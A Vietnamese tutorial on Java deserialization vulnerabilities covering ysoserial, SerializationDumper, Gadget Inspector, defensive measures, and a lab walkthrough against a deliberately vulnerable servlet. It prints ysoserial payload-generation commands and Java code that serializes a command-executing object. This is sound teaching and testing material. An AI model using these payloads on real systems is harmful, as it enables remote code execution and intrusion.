Tham khảo: [Cách dùng setAccessible(true) để truy cập và sửa private field](https://stackoverflow.com/questions/32716952/set-private-field-value-with-reflection), [Reading the Value of ‘private’ Fields from a Different Class in Java](https://www.baeldung.com/java-reflection-read-private-field-value), [How to Access Private Field and Method Using Reflection in Java?](https://www.geeksforgeeks.org/java/how-to-access-private-field-and-method-using-reflection-in-java/), [Cách bypass private static final field – nâng cao hơn](https://stackoverflow.com/questions/3301635/change-private-static-final-field-using-java-reflection)
### 8. SerializationDumper
Bây giờ chúng ta đến với một công cụ tiếp theo cũng không kém phần quan trọng đó là [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), với công cụ này, chúng ta không phải nhớ rõ hết cấu tạo của **Serialize data** ở dạng nhị phân. Đây là công cụ mã nguồn mở chuyên dùng để đọc và phân tích **Serialize data**.
Và từ format ở [đây](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html), mình suy ra được quy luật dùng tool này để xem **Serialize data** là như này:
```yaml
stream:
magic // STREAM_MAGIC: định danh dữ liệu Serialization (0xaced)
version // STREAM_VERSION: phiên bản Serialization (thường 0x0005)
contents // Chuỗi nội dung, có thể gồm nhiều content liên tiếp
contents:
content
contents content // Một stream có thể chứa nhiều content
content:
object // Một đối tượng Java
blockdata // Dữ liệu thô (không phải object Java)
object:
newObject // TC_OBJECT: tạo object mới, gồm classDesc + field values
newClass // TC_CLASS: mô tả class (không kèm dữ liệu)
newArray // TC_ARRAY: mảng các phần tử
newString // TC_STRING hoặc TC_LONGSTRING: chuỗi mới
newEnum // TC_ENUM: đối tượng Enum
newClassDesc // TC_CLASSDESC: mô tả đầy đủ class (tên, UID, fields, flags)
prevObject // TC_REFERENCE: tham chiếu đến object đã xuất hiện
nullReference // TC_NULL: giá trị null
exception // TC_EXCEPTION: object exception
TC_RESET // Reset bảng tham chiếu (reference table)
blockdata:
blockdatashort // TC_BLOCKDATA: block dữ liệu ngắn
blockdatalong // TC_BLOCKDATALONG: block dữ liệu dài
blockdatashort:
TC_BLOCKDATA (unsigned byte) <size> (byte)[size]
// size 1 byte, theo sau là payload bytes
blockdatalong:
TC_BLOCKDATALONG (int32 size) (byte)[size]
// size 4 byte, dùng cho block lớn
newString:
TC_STRING newHandle (utf) // Chuỗi UTF-8 ngắn
TC_LONGSTRING newHandle (long-utf) // Chuỗi UTF-8 dài
newClassDesc:
TC_CLASSDESC
className (utf) // Tên class (ví dụ: "User")
serialVersionUID (long) // UID kiểm tra tính tương thích class
classDescFlags (byte) // Cờ: SC_SERIALIZABLE, SC_EXTERNALIZABLE, v.v.
fieldCount (short) // Số lượng field
fields[] // Danh sách field
classAnnotations // Có thể chứa blockdata bổ sung
superClassDesc // Tham chiếu superclass hoặc TC_NULL
field:
fieldTypeCode (byte) // Ví dụ: 'I' (int), 'L' (object), 'Z' (boolean)
fieldName (utf) // Tên field
className (utf, nếu object) // Descriptor kiểu, ví dụ: "Ljava/lang/String;"
values:
fieldValue[] // Chuỗi byte biểu diễn giá trị thực tế
```
Thì để giải thích kĩ hơn thì tool này giúp chúng ta dễ dàng nhìn thấy:
> [color=#1e90ff]STREAM_MAGIC & STREAM_VERSION
> * Dấu hiệu nhận biết traffic chứa Java Serialization.
>* Khi bật Burp → nếu thấy aced0005 trong request body → gần như chắc chắn là serialized data.
>
>newClassDesc + field (Source)
>* Cho biết class nào đang được deserialize.
>* Kiểm tra serialVersionUID khớp → nếu có gadget chain tương ứng thì có thể exploit.
>
>blockdata (Sink)
>* Chứa dữ liệu mà attacker có thể kiểm soát → có thể dẫn tới RCE nếu qua gadget chain.
>
>TC_REFERENCE
>* Cho thấy object được tái sử dụng → quan trọng để hiểu flow gadget chain.
>
>classDescFlags
>* Nếu class hỗ trợ Serializable hoặc Externalizable, khả năng exploit cao hơn.
>
>values
>* Phần cuối cùng chứa dữ liệu thực tế → ví dụ số 20 → 00 00 00 14.
>* Với chuỗi → TC_STRING → bạn có thể nhét payload.
Khi chúng ta xài tool này, ta có thể dễ dàng xác định được các class và field được nạp để dễ dàng kiểm soát và xây dựng payload.
### 9. Giới thiệu về Ysoserial
Chúng ta đang nhắc đến lỗi **Java Deserialization vulnerability** mà không nhắc đến [**Ysoserial**](https://github.com/frohoff/ysoserial) là một sự thiếu sót rất lớn. Đây là công cụ mã nguồn mở cực kỳ phổ biến, được sử dụng để tạo ra các payload khai thác dựa trên các **gadget chain** có sẵn trong các thư viện Java.
Cách hoạt động của tool này rất đơn giản:
* Pentester chỉ định loại gadget chain muốn dùng.
* YSoSerial sẽ sinh ra một chuỗi **byte serialized hợp lệ**.
* Payload này, khi đưa vào ứng dụng có lỗ hổng deserialization, sẽ được JVM nạp và chạy theo gadget chain → dẫn đến hậu quả như **RCE, File Write, hoặc Logic Manipulation**.
ví dụ:
```code
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser
```
* CommonsCollections1 là gadget chain.
* "calc.exe" là lệnh cần thực thi.
* payload.ser là file serialized payload sinh ra.
Với bộ tool này, chúng ta đỡ phải đi tìm các **gatgetchain** một cách thủ công mà chỉ cần xác định thư viện và phiên bản của hệ thống.
### 10. Công cụ Gadget Inspector
Trên thực tế, các ứng dụng thường có quy mô rất lớn, đặt biệt là **ứng dụng enterprise**, thì khi có code ở quy mô đồ sộ như này, thì việc kiếm **gadgetchain** thủ công khá là khó khăn, lúc này chúng ta sẽ dùng đến [**công cụ Gadget Inspector**](https://github.com/JackOfMostTrades/gadgetinspector). Mặc dù chúng ta đã có **YSoSerial** nhưng trên thực tế không phải lúc nào cũng sử dụng các thư viện quen thuộc có trong bộ **công cụ YSoSerial**. Vì vậy, việc cần một công cụ tự động **phân tích tĩnh bytecode Java để tìm gadget chain** nhằm phát hiện các chuỗi **gadget chain** tiềm năng là điều cần thiết.
Mục đích của công cụ này là:
- **Tự động khám phá gadget chain mới** trong ứng dụng hoặc thư viện custom mà không có trong YSoSerial.
- **Tự động phân tích classpath** (các file .jar, .war) mà không cần code nguồn.
- **Phát hiện source và sink** trong quá trình deserialize.
- **Tạo báo cáo chain:** kết nối từ **source** (điểm entry như ```readObject())``` đến **sink** (method nguy hiểm như ```Runtime.exec()```)
- **Rút ngắn thời gian pentest**, giúp tập trung vào chain có khả năng khai thác cao.
Giờ mình sẽ đi sâu một chút về chức năng của công cụ này cho mọi người hiểu:
**1. Phân tích tĩnh bytecode (Static Analysis)**
- **Công cụ Gadget Inspector** không cần mã nguồn mà có thể làm việc trực tiếp trên **class file** hoặc **JAR/WAR/EAR**.
- Công cụ đọc bytecode, sau đó xây dựng một** call graph** (đồ thị gọi phương thức) để hiểu luồng thực thi của chương trình.
**2. Phát hiện Source**
- Gadget Inspector tự động tìm các **entry points** (nơi dữ liệu được nhập vào trong quá trình deserialize).
- Ví dụ như các **Java magic methods** như ```readObject(ObjectInputStream in)```, ```readResolve()```, ```equals()```, ```hashCode()```,``` toString()```, đây là những nơi payload của mình có thể đi vào.
**3. Phát hiện Sink**
- Công cụ dò tìm những **API nguy hiểm** mà chúng ta có thể lợi dụng (thường là RCE).
- Một số sink phổ biến như là:```Runtime.getRuntime().exec(...), ProcessBuilder.start(), Method.invoke(...)``` (Java Reflection),```Class.forName(...).newInstance()```.
**4. Tìm đường dẫn Source → Sink**
- Chức năng quan trọng nhất: **Gadget Inspector** sẽ tự động nối các method lại để tìm ra **gadget chain**.(nhưng sau đấy chúng ta vẫn cần kiểm tra thủ công lại)
- Ví dụ output có thể chỉ ra chuỗi như:
```java
readObject → HashMap.put → Transformer.transform → Method.invoke → Runtime.exec
```
- Lúc này chúng ta đã có thể xác định cần **inject payload** vào đâu để chain được kích hoạt.
**5. Xác định Reflection Usage**
- **Gadget Inspector** rất đặt biệt hữu ích giúp chúng ta dễ dàng phát hiện các đoạn code dùng **Reflection**, nó sẽ tạo bước ngoặc khác giúp chúng ta gọi gián tiếp đến các lệnh ví dụ như là exec.
- **Gadget Inspector** sẽ highlight (tô sáng) những đoạn code có **Reflection** giúp chúng ta sẽ đỡ tốn thời gian đọc bytecode thủ công để tìm ```Method.invoke```, mà chúng ta chỉ cần quét và tìm được chính xác file, class, method chứa **Reflection**.
**6. Hỗ trợ kiểm tra Custom Gadget Chains**
- Như nãy mình đã nói, thay vì chúng ta khi dùng **YSoSerial** chỉ có một tập payload cố định (hoặc đợi người khác bổ sung), thì **Gadget Inspector** tìm ra được các **gatget chain** mới không nằm trong **YSoSerial**, chúng ta có thể dễ dàng dựng custom payload để khó phát hiện hơn, thậm chí là có thể tìm ra zero-day.
**7. Xuất Báo Cáo Gadget Chains**
- Đây có thể coi một trong những tính năng giúp chúng ta dễ dàng hiểu rõ và tìm kiếm các **gadget chain**, và dễ dàng dựng lại PoC.
- **Gadget Inspector** sẽ xuất một bản **báo cáo chi tiết**, thường dưới dạng file text hoặc JSON chứa: **danh sách source**, **danh sách sink**, **đường dẫn chain**(call graph). ví dụ:
```yaml
Source: java.util.HashMap.readObject(ObjectInputStream)
|
v
org.apache.commons.collections.functors.InvokerTransformer.transform(Object)
|
v
java.lang.reflect.Method.invoke(Object, Object[])
|
v
java.lang.Runtime.exec(String)
Sink: Runtime.exec
```
Tham khảo: [synacktiv](https://www.synacktiv.com/sites/default/files/2022-07/PTS2022-Talk-20-Finding-Java-deserialization-gadgets-with-CodeQL.pdf), [Sheon
](https://sheon.hashnode.dev/java-security-3-cong-cu-gadget-inspector?source=more_series_bottom_blogs), [Slide của bài trình bày Automated Discovery of Deserialization Gadget Chains](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf),[
Tri Luu](https://viblo.asia/p/gadget-inspector-101-7ymJXnnRVkq)
### 11. Cách ngăn chặn Java Deserialization vulnerability
**Deserialization** trong Java là một tính năng mạnh mẽ, nhưng nếu sử dụng sai cách, nó có thể mở cửa cho kẻ tấn công thực thi mã tùy ý hoặc thao túng logic ứng dụng. Để giảm thiểu rủi ro, cần áp dụng nhiều lớp phòng thủ thay vì chỉ một biện pháp đơn lẻ.
**1. Loại bỏ hoặc Hạn chế Java Native Serialization**
Cách phòng ngừa hiệu quả nhất là **không sử dụng native serialization** (ObjectInputStream) cho dữ liệu nhận từ người dùng.
- Thay thế bằng định dạng an toàn hơn như **JSON (Jackson, Gson), XML (JAXB)**.
- Các định dạng này không cho phép tiêm class tùy ý → giảm thiểu rủi ro **gadget chain**.
Tham khảo: [portswigger](https://portswigger.net/web-security/deserialization#how-to-prevent-insecure-deserialization-vulnerabilities).
**2. Sử dụng Serialization Filtering (Java ≥ 9)**
Java 9 giới thiệu ObjectInputFilter cho phép kiểm soát class nào được phép deserialize. Ví dụ:
```java
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.myapp.*;!*");
ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(filter);
```
Ở đây, chỉ các class trong ```com.myapp``` được phép deserialize, các class khác bị từ chối.
**Tác dụng:** Loại bỏ khả năng bị inject payload từ thư viện bên ngoài.
Tham khảo: [Oracle Documentation on ObjectInputFilter](https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.html)
**3. Whitelist Class Một Cách Rõ Ràng**
Nếu bắt buộc phải sử dụng **native serialization**:
- Áp dụng **whitelist** để chỉ cho phép một tập class cụ thể.
- Không bao giờ deserialize dữ liệu từ client mà không có xác thực nguồn gốc.
**4. Giới hạn Quyền của JVM**
Dù payload có được tiêm, hạn chế quyền của JVM có thể giảm mức độ thiệt hại. Ví dụ như:
- Chạy ứng dụng trong **container** hoặc **sandbox**.
- Sử dụng **Security Manager** (Java ≤17) hoặc cơ chế kiểm soát quyền tương đương.
- Vô hiệu hóa khả năng gọi ```Runtime.exec``` nếu không cần thiết.
Tham khảo:[OWASP - Insecure Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
**5. Cập nhật Thư viện Bên Thứ Ba**
Rất nhiều gadget chain khai thác từ thư viện phổ biến như **Commons-Collections, Groovy, Spring** nên:
- Luôn cập nhật dependency lên phiên bản mới nhất.
- Sử dụng công cụ quét dependency:[OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/), [Snyk](https://snyk.io/)
**6. Kiểm tra và Pentest Định Kỳ**
Kiểm tra vè pentest hệ thống định kì, kết hợp dùng một số tool như mình đã chỉ để quét source code và tìm các **gadget chain tiềm năng**.
**7. Giám sát và Logging**
Triển khai giám sát traffic và log nhằm phát hiện payload nguy hiểm:
- Nếu thấy request chứa chuỗi bắt đầu bằng ```AC ED 00 05``` (STREAM_MAGIC) → nghi ngờ dữ liệu serialize.
- Sử dụng IDS/WAF để chặn mẫu payload đã biết.
- Log chi tiết quá trình deserialize để hỗ trợ forensic khi có sự cố.
---
## II. DỰNG MÔI TRƯỜNG TEST
Sau khi xem qua phần lí thuyết xong, chúng ta bắt đầu thực hành, mình đã dựng lại lab ở [đây](https://github.com/ASEN-K5/Java-Deserialization-vulnerability-research/blob/main/PoC.rar), bạn chỉ cần tải về và chạy docker là được, web sẽ nằm ở port 13337. Sau khi cài xong, chúng ta hãy mở web, Burpsuite và IntelliJ IDEA (đây là IDE mình thấy khá thuận tiện để debug, khá dễ sài và miễn phí cho sinh viên). Đầu tiên chúng ta sẽ mở trang web lên và đọc source code.

đây là giao diện của trang web, ta sẽ xem thử các chức năng rồi xem source code của trang web.

Tiếp đến chúng ta xem đến source và phân tích.
Trong VulnServlet.java ta thấy đoạn code quan trọng:

Ở đây ta thấy ```request.getInputStream()``` lấy dữ liệu từ method POST, đó là lí do khi mình dùng Browser mình lại thấy 405 status. Kế tiếp ta thấy hàm ```ois.readObject()``` được gọi ở dưới để **deserialize** biến ```Object obj``` mà không kiểm tra đầu vào. Sau khi truyền vào dữ liệu, server sẽ in kết quả là **Deserialization success** +```obj.getClass().getName()```, mô phỏng cho mọi người dễ thấy được các object nào được deserialize thành công.
Sau đấy ta dễ dàng phát hiện được sink là nằm ở trong class DangerousAction với field ```readObject```.

Đây là chỗ chúng ta thấy có khả năng RCE, vì vậy ta sẽ kiếm cách để gọi. Từ đây ta có thể nối lại thành một **gadgetchain** rồi, vì đây là mô phỏng nhiều gadgetchain nên mình ví dụ thủ công cái đơn giản nhất, khi ghép lại ta sẽ có một gadgetchain như này:
```java
HTTP POST body (payload nhị phân)
↓
VulnServlet.doPost()
→ new ObjectInputStream(request.getInputStream())
→ ois.readObject()
↓
ObjectInputStream:
- Load class DangerousAction
- Tạo instance trống
- Set private field cmd từ payload
- Tìm & gọi DangerousAction.readObject()
↓
DangerousAction.readObject():
Runtime.getRuntime().exec(cmd)
```
Sau khi xác định được như vậy rồi chúng ta đến bước test, trong VulnServlet.java, dòng:
```java
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();
```
ta thấy đây là một entry point, ta ```ctrl+click``` vào ```readObject``` thì nhảy đến lớp ```ObjectInputStream```
ta thấy được ```object``` ở đây là **untrusted data** đã được **deserialize** mà chúng ta truyền vào. Như vậy là khi payload của chúng ta POST lên ```endpoint /vuln```, servlet gọi ```ObjectInputStream.readObject()```, mà ta thấy được ở **sink**, cụ thể là ở class ```DangerousAction``` có hàm ```readObject(ObjectInputStream)```, như vậy bây giờ chúng ta kiếm cách để JVM gọi được **sink** là hoàn thành, chúng ta tìm hiểu thêm trong ```ObjectInputStream``` có hàm ```invokeReadObject```, như ở phần lí thuyết tôi đã chỉ đây là **reflection**, chúng ta có thể lợi dụng gọi **sink** bằng **reflection**.

Đây là graph cho quá trình thực hiện của tôi cho dễ nhìn
```java
HTTP POST /vuln
↓
VulnServlet.doPost()
↓
ObjectInputStream.readObject()
↓
ObjectStreamClass.invokeReadObject() [reflection]
↓
DangerousAction.readObject(ObjectInputStream)
↓
Runtime.getRuntime().exec(cmd) [RCE Sink]
```
Sau khi xác định được gadgetchain, bạn có thể tạo ra payload của mình, lúc này chúng ta mở burp lên và chèn payload của mình thôi. Nhưng trước đấy bạn tạo được một payload như này:
```java
package com.example.vuln;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class CreatePayload {
public static void main(String[] args) throws Exception {
DangerousAction da = new DangerousAction("cat /flag.txt");
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"))) {
oos.writeObject(da);
System.out.println("Payload đã được tạo: payload.bin");
}
}
}
```
và chạy payload này và class ```DangerousAction``` để có file ```payload.bin```(nhớ cẩn thận payload mới cái ```serialVersionUID``` của ```DangerousAction``` không khớp)

chúng ta curl thử và thấy website trả về như này là thành công, lúc này ta mở burp lên và import file ```payload.bin``` này vào repeater để xem như nào (bạn nhớ đổi Content-Type: thành application/octet-stream), như này

Khi đến bước này thì ta thấy được payload đã chạy theo ý mình muốn, đã chạy được ```readObject()``` của ```DangerousAction``` và ```Runtime.getRuntime().exec(cmd)``` cũng đang thực thi nhưng không hiện output, vì đã RCE thành công việc xem flag các bạn tự làm tiếp, một số cách bạn xem được có thể curl flag ra ngoài hay input một file mới trong server và xem.
Phần trên là mình hướng dẫn sơ cách mà làm thủ công, trên thực tế thì mình phải phân tích và đi qua rất nhiều **gadget**, ví dụ như không được đi thẳng đến class ```DangerousAction``` mà phải dùng công cụ **Ysoserial** thì sao, sau đây mình sẽ hướng dẫn các bạn xài công cụ này như nào. Đầu tiên ta vẫn thấy **source** vẫn là chỗ cũ, mình không nói lại nữa, bây giờ mình thử xem file **Utils.java** xem có gì không, ta thấy được có một **magic method** là ```toString```.

Ta có thể lợi dụng này để hiển thị một thứ gì đấy mà mình mong muốn thay vì phải curl ra ngoài hay ghi file trong server. Ta thấy được ta có thể kích hoạt ```toString``` ở dòng 18.

Ta đã có **Source** và có thể coi hàm ```toString``` ở **Utils.java** là một **Sink**, nhưng vấn để ở đây là nó chỉ in ra payload, là ```obj``` mà mình truyền vào, thì lúc này mình sẽ nhớ lại phải kiểm tra thư viện của server, trên thực tế chúng ta cũng phải kiểm tra và nối các **Gadget** ở các thư viện với nhau, vì mình có source code và thấy được có thư viện commons-collections-3.2.1.jar.

thì với thư viện này, ta thấy trong bộ thư viện của **Ysoserial**

Tuy payload **CommonsCollections6** có phiên bản là **3.1** nhưng theo mình tìm hiểu thì ở phiên bản **3.2.1** của thư viện **commons-collections** vẫn chưa được vá, vì vậy ta vẫn có thể sử dụng, với payload **CommonsCollections1** kết hợp với **Sink** mà chúng ta tìm được, chúng ta có thể hiện thị payload của mình thông qua để JVM tự kích hoạt **magic method** thay vì chỉ RCE.
Rồi giờ mình hệ thống lại hướng đi mới của chúng ta sẽ là:
```code
VulnServlet.doPost()
|
v
ObjectInputStream.readObject()
|
v
HashSet (chứa CommonsCollections6 + Utils)
|
v
CommonsCollections6 [gadget chain]
|
v
LazyMap.get()
|
v
ChainedTransformer.transform()
|
v
InvokerTransformer.transform() [reflection]
|
v
Runtime.getRuntime().exec("cat /flag.txt")[kết thúc CommonsCollections1]
|
v
(capture output into Utils.payload field)
|
v
Utils.toString()
|
v
response.getWriter().println("Deserialization success: " + obj)
|
v
In ra "Payload executed: FLAG{...}"
```
Sau khi hệ thống được hướng đi, bây giờ mình sẽ chia thành hai quy trình cho các bạn dễ hiểu, quy trình một là **tạo phần gadget chain đầu tiên** (CommonsCollections6) với **ysoserial** → lưu ra file payload để hướng dẫn dùng công cụ này. Sau đó đến quy trình hai là **viết Java code để mở file payload**, nối thêm dữ liệu serialize của Utils("FLAG{...}") vào ngay sau đó.
Sau khi đã tải **ysoserial** rồi thì các bạn mở lên và chạy payload (CommonsCollections6): ```java -jar ysoserial-all.jar CommonsCollections6 "cat /flag.txt" > part1.ser```
Rồi giờ mình đã có thể RCE nếu mà gửi file này lên server rồi, tiếp theo mình sẽ tạo thử payload thứ 2 là ```part2.ser``` để test thử cái **gadgetchain** này có hoạt động theo ý muốn của mình không trước khi dùng ```Hashset``` kết hợp 2 **gadgetchain** này:
```java
package com.example.vuln;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class SerializeUtils {
public static void main(String[] args) throws Exception {
Utils u = new Utils("FLAG{flag}");
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("part2.ser"))) {
oos.writeObject(u);
}
}
}
```
Sau khi bạn có được part1.ser và part2.ser ta thấy kết quả là:

đến đây có vẻ ra gần đúng với ý chúng ta rồi nhưng ở ```part2.ser``` không ra kết quả mình mong muốn là ```Payload executed:....```, nguyên nhân ở đây là vì ```obj.getClass().getName()``` gọi đúng ```Class.getName()``` và không gọi ```obj.toString()``` như vậy mình không thể **override** bằng ```toString()```, bây giờ thì mình có thể dùng CC6 để RCE rồi nhưng nếu các bạn muốn **override** để in ra kết quả mình muốn bằng class ```Untils``` thì dựa vào **CC6**, ta lợi dụng **reflection** trong ```InvokerTransformer``` hoặc ```ReflectionExtractor``` là **bridge** để mình gọi được field ```toString``` của class ```Untils``` có nghĩa là thay vì ở **CC6** gọi thẳng ```Runtime.exec``` như trong các chain gốc thì mình gọi ```Utils.toString()```, nhưng hướng này lại không thể **RCE**, nếu bạn muốn vừa có thể RCE và in ra luôn thì cách này tương đối phức tạp, và chạy nhiều lần mình không khuyến khích lắm, tương đối ý tưởng như này:
1. Thực thi lệnh RCE, ví dụ ```bash -c 'cat /flag.txt > /tmp/out'```.
2. Đợi lệnh kết thúc.
3. Đọc file /tmp/out thành byte[] bằng java.nio.file.Files.readAllBytes(Paths.get("/tmp/out")).
4. Chuyển byte[] → String (UTF-8).
5. Dùng reflection gán Utils.payload = <String> trên instance ```Utils``` (đã có trong **object-graph** payload).
6. Trả về deserialization; nếu server sau đó in obj (hoặc HashSet.toString() gọi Utils.toString()), bạn sẽ thấy "Payload executed: " + payload.
Nhưng bước này khá là phức tạp nên mình chỉ nói về ý tưởng các bạn có thể thực hiện hoặc bỏ qua. Và giờ bước tiếp mình sẽ hướng dẫn các bạn sử dụng tool **Gadget Inspector**. Đây là một tool **code analyzer** để tìm gadget chain nên mình sẽ hướng dẫn kĩ cách các bạn dùng nó để phân tích mã nguồn. Với tool này thì cài đặt sẽ khá khó khăn một chút, sau khi cài xong trên github, muốn dùng nó để **phân tích mã nguồn**, bạn phải chuyển tất cả thư viện và các file .class thành 1 **file JAR** lớn:

Sau đấy chúng ta vào folder chứa tool **Gadget Inspector** và chạy để nó phân tích bằng lệnh mà mình hay dùng là:
```java -Xmx2g -jar gadget-inspector-all.jar app.jar libs.jar```
là công cụ này sẽ phân tích tìm **gadget chain** ở 2 file **app.jar** và **lib.jar** do mình tạo tương ứng với **source** và thư viện mình xài.
Khi chạy xong thì các bạn sẽ thấy tool trả về như này:


Từ thông báo trả về sau khi chạy thì ta có thông báo là có **3 gadget chain** tìm được và trả thêm một số file, nhưng hiện giờ mình chỉ đi cơ bản của tool này thì quan tâm file **gadget-chains.txt** là được và nó có nội dung là:
```code
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
com/example/vuln/DangerousAction.readObject(Ljava/io/ObjectInputStream;)V (1)
java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)
```
thì giờ mình sẽ phân tích cấu trúc của nó, thì mỗi **block** ở đây là một **gadget chain** và nó được ngăn cách với nhau bằng dấu cách. Mỗi dòng đầu tiên trong **block** là là **entry point**(phương thức có thể bị gọi khi deserialization diễn ra), nó có cấu trúc:
```java
<package>/<class>.<method>(<method_signature>) (1)
```
còn kí hiệu ```(1)``` nghĩa là phương thức này có thể **nhận dữ liệu từ đối tượng được deserialize (Source)**. Các dòng tiếp theo là luồng thực thi tiếp theo và dòng cuối sẽ là **Sink**.
Để hiểu rõ hơn giờ mình sẽ phân tích cả 3 **Chain**:
**Chain 1:**
```java
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
```
- Entry point: ```LogEvent.readObject``` được gọi khi **deserialize** đối tượng ```LogEvent``` từ ```Log4j```
- Rồi từ đây gọi tới ```readLevel```, và tiếp tục gọi được ```Method.invoke```(reflection), cho phép thực thi hàm tùy ý, rồi từ đây bạn có thể kiếm các hàm mà mình muốn vì bây giờ mình có thể thực thi tùy ý rồi.
**Chain 2:**
```java
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
```
- Entry point: LoggingEvent.readObject cũng được gọi khi **deserialize** đối tượng ```LogEvent``` từ ```Log4j```.
- Thì chain này cũng tương tự chain 1 nhưng khác class(```spi.LoggingEvent``` thay vì ```pattern.LogEvent```)
**Chain 3:**
```java
com/example/vuln/DangerousAction.readObject(Ljava/io/ObjectInputStream;)V (1)
java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)
```
Chain này mình đã làm và phân tích ngay từ đầu thì mình sẽ không phân tích sâu nữa, thì vẫn là:
- Entry point: DangerousAction.readObject (class của server).
- Sau đấy gọi trực tiếp ```Runtime.exec``` với input từ serialized data.
- (1) ở cuối nghĩa là dữ liệu người dùng truyền vào exec trực tiếp từ input có nghĩa ta có thể **RCE tùy ý**.
Thì ở **Chain 1** và **Chain 2** là 2 chain tiềm ẩn khả năng RCE, chúng ta vẫn phải tự hoàn thiện thêm không giống như **Chain 3**.
Mặc dù tool này khá hữu ích nhưng vẫn có khả năng thiếu sót chain ví dụ như không tìm thấy **CC6** ở ví dụ thứ 2 của mình và các bạn cũng nên test lại các Gadget này, và đôi khi phải tự xác định **Source** và **Sink** bằng thủ công, không nên quá phụ thuộc vào công cụ này.